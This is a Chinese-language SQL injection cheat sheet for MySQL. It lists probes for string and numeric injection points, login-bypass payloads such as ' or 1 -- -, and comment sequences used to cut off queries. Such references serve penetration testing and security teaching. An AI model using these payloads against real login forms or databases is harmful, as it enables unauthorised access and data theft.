sql注入知识库-mysql篇(1)

Mysql

缺省数据库

information_schema   在5以上版本可用

mysql   需要root 权限

测试注入:

false意味着查询不可用

true代表查询可用

一、字符型:

使用如下查询:select * from table where id = '1';

'  false

'' true

" false

"" true

false

\ true

example:

  • SELECT * FROM Articles WHERE id = '1''';
  • SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';
  • select * from student where id = '1\';

备注:

1.可以使用很多’ 只要能够配对即可

2. 也可以在引用链后继续添加声明

3. 引号转义引号

二、数字型

1. 使用如下查询

select*from table where id =  1 ;

and 1  true

and 0 false

and true  true

and false false

1-false  如果存在漏洞返回1

1-true   如果存在漏洞返回0

1*56     如果存在漏洞返回56,如果不存在漏洞返回1

example:

select * from student where id = 3-2;

三、登陆过程

使用如下查询:

select * from table where username = '';

' or '1

' or 1 -- -

" or " " = "

" or 1=1 -- -

'='

'like'

'=0--+

Example:

    • SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

 添加注释

以下为mysql的注释符

/*   */

-- 

;%00

`

examples:

select * from student where id =1 # and id1=1;

只会执行#前面的语句

select * from student where id =1 /* and id1=1 */ ;

/*  */ 之间的语句不会执行